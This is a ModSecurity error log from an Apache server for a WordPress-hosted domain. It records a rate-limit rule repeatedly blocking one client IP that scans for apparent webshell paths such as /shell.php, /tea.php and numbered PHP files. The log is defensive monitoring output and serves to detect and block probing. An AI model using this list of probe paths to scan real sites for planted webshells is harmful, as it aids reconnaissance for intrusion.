[Tue Apr 14 22:00:45.969448 2026] [:error] [pid 3810:tid 3815] [client 20.188.36.87:13533] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "ad5Ijcqc5XaYZhFXVGe3OgAAAYI"]
[Tue Apr 14 22:00:46.439832 2026] [:error] [pid 3778:tid 3782] [client 20.188.36.87:13544] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "ad5Ijhx5DfpNmYF_PaH2igAAAUI"]
[Tue Apr 14 22:00:46.909366 2026] [:error] [pid 59986:tid 60036] [client 20.188.36.87:13567] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "ad5Ijp6axKeW6bX4H7eTWwAAAFA"]
[Tue Apr 14 22:00:47.379648 2026] [:error] [pid 3810:tid 3814] [client 20.188.36.87:13537] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "ad5Ij8qc5XaYZhFXVGe3PwAAAYE"]
[Tue Apr 14 22:00:47.852728 2026] [:error] [pid 59986:tid 60040] [client 20.188.36.87:13561] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "ad5Ij56axKeW6bX4H7eTXgAAAFQ"]
[Tue Apr 14 22:00:48.327189 2026] [:error] [pid 59986:tid 60038] [client 20.188.36.87:13508] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "ad5IkJ6axKeW6bX4H7eTYQAAAFI"]
[Tue Apr 14 22:00:48.797915 2026] [:error] [pid 3778:tid 3783] [client 20.188.36.87:13441] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ad5IkBx5DfpNmYF_PaH2jwAAAUM"]
[Tue Apr 14 22:00:49.267669 2026] [:error] [pid 3810:tid 3825] [client 20.188.36.87:13467] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ad5Ikcqc5XaYZhFXVGe3QwAAAYw"]
[Tue Apr 14 22:00:49.746616 2026] [:error] [pid 60074:tid 60088] [client 20.188.36.87:13519] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ad5IketqnEmNU9vpHCmzSAAAAMw"]
[Tue Apr 14 22:00:50.217881 2026] [:error] [pid 60074:tid 60097] [client 20.188.36.87:13562] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ad5IkutqnEmNU9vpHCmzTAAAANU"]
[Tue Apr 14 22:00:50.688497 2026] [:error] [pid 3778:tid 3787] [client 20.188.36.87:13547] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "ad5Ikhx5DfpNmYF_PaH2lQAAAUc"]
[Tue Apr 14 22:00:51.159213 2026] [:error] [pid 60074:tid 60082] [client 20.188.36.87:13484] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "ad5Ik-tqnEmNU9vpHCmzUwAAAMY"]
[Tue Apr 14 22:00:51.629496 2026] [:error] [pid 59986:tid 60031] [client 20.188.36.87:13449] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "ad5Ik56axKeW6bX4H7eTZQAAAEs"]
[Tue Apr 14 22:00:52.100658 2026] [:error] [pid 60074:tid 60098] [client 20.188.36.87:13379] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "ad5IlOtqnEmNU9vpHCmzVwAAANY"]
[Tue Apr 14 22:00:52.572673 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:13489] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "ad5IlJ6axKeW6bX4H7eTbAAAAFE"]
[Tue Apr 14 22:00:53.045134 2026] [:error] [pid 3810:tid 3814] [client 20.188.36.87:13566] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "ad5Ilcqc5XaYZhFXVGe3SgAAAYE"]
[Tue Apr 14 22:00:53.515414 2026] [:error] [pid 22177:tid 22202] [client 20.188.36.87:13536] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "ad5IlYTVeJSXHDIlEDuRZAAAARc"]
[Tue Apr 14 22:00:53.986562 2026] [:error] [pid 59986:tid 60042] [client 20.188.36.87:13470] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "ad5IlZ6axKeW6bX4H7eTeAAAAFY"]
[Tue Apr 14 22:00:54.457840 2026] [:error] [pid 3810:tid 3833] [client 20.188.36.87:13513] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "ad5Ilsqc5XaYZhFXVGe3XQAAAZQ"]
[Tue Apr 14 22:00:54.930086 2026] [:error] [pid 59986:tid 60039] [client 20.188.36.87:13545] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "ad5Ilp6axKeW6bX4H7eTfwAAAFM"]
[Tue Apr 14 22:00:55.401109 2026] [:error] [pid 60074:tid 60090] [client 20.188.36.87:13447] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "ad5Il-tqnEmNU9vpHCmzXQAAAM4"]
[Tue Apr 14 22:00:55.871861 2026] [:error] [pid 22177:tid 22191] [client 20.188.36.87:13479] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "ad5Il4TVeJSXHDIlEDuRZQAAAQw"]
[Tue Apr 14 22:00:56.343033 2026] [:error] [pid 59986:tid 60031] [client 20.188.36.87:13546] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "ad5ImJ6axKeW6bX4H7eTiwAAAEs"]
[Tue Apr 14 22:00:56.822988 2026] [:error] [pid 3810:tid 3833] [client 20.188.36.87:13393] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "ad5ImMqc5XaYZhFXVGe3cQAAAZQ"]
[Tue Apr 14 22:00:57.304552 2026] [:error] [pid 59987:tid 60066] [client 20.188.36.87:13451] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "ad5ImVWpk-Tfi6_vLKpBnAAAAJM"]
[Tue Apr 14 22:00:57.775441 2026] [:error] [pid 3778:tid 3780] [client 20.188.36.87:13472] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "ad5ImRx5DfpNmYF_PaH2owAAAUA"]
[Tue Apr 14 22:00:58.249811 2026] [:error] [pid 22177:tid 22201] [client 20.188.36.87:13401] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "ad5ImoTVeJSXHDIlEDuRZwAAARY"]
[Tue Apr 14 22:00:58.721068 2026] [:error] [pid 3778:tid 3798] [client 20.188.36.87:13495] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "ad5Imhx5DfpNmYF_PaH2pAAAAVI"]
[Tue Apr 14 22:00:59.192247 2026] [:error] [pid 3810:tid 3832] [client 20.188.36.87:13505] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "ad5Im8qc5XaYZhFXVGe3ewAAAZM"]
[Tue Apr 14 22:00:59.662753 2026] [:error] [pid 3810:tid 3826] [client 20.188.36.87:13390] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "ad5Im8qc5XaYZhFXVGe3fwAAAY0"]
[Tue Apr 14 22:01:00.133965 2026] [:error] [pid 59987:tid 60059] [client 20.188.36.87:13543] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "ad5InFWpk-Tfi6_vLKpBnQAAAIw"]
[Tue Apr 14 22:01:00.606071 2026] [:error] [pid 59987:tid 60068] [client 20.188.36.87:13377] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "ad5InFWpk-Tfi6_vLKpBngAAAJU"]
[Tue Apr 14 22:01:01.082178 2026] [:error] [pid 59986:tid 60020] [client 20.188.36.87:13383] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "ad5InZ6axKeW6bX4H7eTkQAAAEA"]
[Tue Apr 14 22:01:01.556799 2026] [:error] [pid 3778:tid 3786] [client 20.188.36.87:13455] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "ad5InRx5DfpNmYF_PaH2qQAAAUY"]
[Tue Apr 14 22:01:02.027400 2026] [:error] [pid 59986:tid 60042] [client 20.188.36.87:13559] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ad5Inp6axKeW6bX4H7eTlQAAAFY"]
[Tue Apr 14 22:01:02.500975 2026] [:error] [pid 59987:tid 60050] [client 20.188.36.87:13491] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ad5InlWpk-Tfi6_vLKpBnwAAAIM"]
[Tue Apr 14 22:01:02.971526 2026] [:error] [pid 60074:tid 60100] [client 20.188.36.87:13460] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ad5InutqnEmNU9vpHCmzZgAAANg"]
[Tue Apr 14 22:01:03.456159 2026] [:error] [pid 59986:tid 60028] [client 20.188.36.87:13469] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ad5In56axKeW6bX4H7eTmgAAAEg"]
[Tue Apr 14 22:01:03.931494 2026] [:error] [pid 59985:tid 60017] [client 20.188.36.87:13450] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ad5In-gHaxkvLE6V1klsNAAAABg"]
[Tue Apr 14 22:01:04.404812 2026] [:error] [pid 59986:tid 60021] [client 20.188.36.87:13487] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ad5IoJ6axKeW6bX4H7eTnwAAAEE"]
[Tue Apr 14 22:01:04.875549 2026] [:error] [pid 60074:tid 60080] [client 20.188.36.87:13468] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ad5IoOtqnEmNU9vpHCmzbQAAAMQ"]
[Tue Apr 14 22:01:05.345895 2026] [:error] [pid 59987:tid 60067] [client 20.188.36.87:13515] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ad5IoVWpk-Tfi6_vLKpBowAAAJQ"]
[Tue Apr 14 22:01:05.818560 2026] [:error] [pid 22177:tid 22189] [client 20.188.36.87:13442] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ad5IoYTVeJSXHDIlEDuRbAAAAQo"]
[Tue Apr 14 22:01:06.290928 2026] [:error] [pid 59986:tid 60040] [client 20.188.36.87:13403] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ad5Iop6axKeW6bX4H7eTrAAAAFQ"]
[Tue Apr 14 22:01:06.766298 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:13541] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ad5Iop6axKeW6bX4H7eTsQAAAFE"]
[Tue Apr 14 22:01:07.237606 2026] [:error] [pid 59985:tid 60011] [client 20.188.36.87:13452] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ad5Io-gHaxkvLE6V1klsNQAAABI"]
[Tue Apr 14 22:01:07.708189 2026] [:error] [pid 60074:tid 60078] [client 20.188.36.87:13549] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "ad5Io-tqnEmNU9vpHCmzhwAAAMI"]
[Tue Apr 14 22:01:08.178915 2026] [:error] [pid 3810:tid 3834] [client 20.188.36.87:13500] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "ad5IpMqc5XaYZhFXVGe3swAAAZU"]
[Tue Apr 14 22:01:08.649452 2026] [:error] [pid 3778:tid 3802] [client 20.188.36.87:13540] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "ad5IpBx5DfpNmYF_PaH2wgAAAVY"]
[Tue Apr 14 22:01:09.120680 2026] [:error] [pid 3810:tid 3817] [client 20.188.36.87:13530] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "ad5Ipcqc5XaYZhFXVGe3twAAAYQ"]
[Tue Apr 14 22:01:09.591126 2026] [:error] [pid 59986:tid 60043] [client 20.188.36.87:13480] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "ad5IpZ6axKeW6bX4H7eTwAAAAFc"]
[Tue Apr 14 22:01:10.062059 2026] [:error] [pid 3778:tid 3797] [client 20.188.36.87:13538] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "ad5Iphx5DfpNmYF_PaH2ygAAAVE"]
[Tue Apr 14 22:01:10.536842 2026] [:error] [pid 22177:tid 22195] [client 20.188.36.87:13407] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "ad5IpoTVeJSXHDIlEDuRbgAAARA"]
[Tue Apr 14 22:01:11.007374 2026] [:error] [pid 3810:tid 3833] [client 20.188.36.87:13560] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "ad5Ip8qc5XaYZhFXVGe3ywAAAZQ"]
[Tue Apr 14 22:01:11.478511 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:13464] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "ad5Ip56axKeW6bX4H7eT0AAAAFE"]
[Tue Apr 14 22:01:11.949375 2026] [:error] [pid 59986:tid 60027] [client 20.188.36.87:13395] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "ad5Ip56axKeW6bX4H7eT1AAAAEc"]
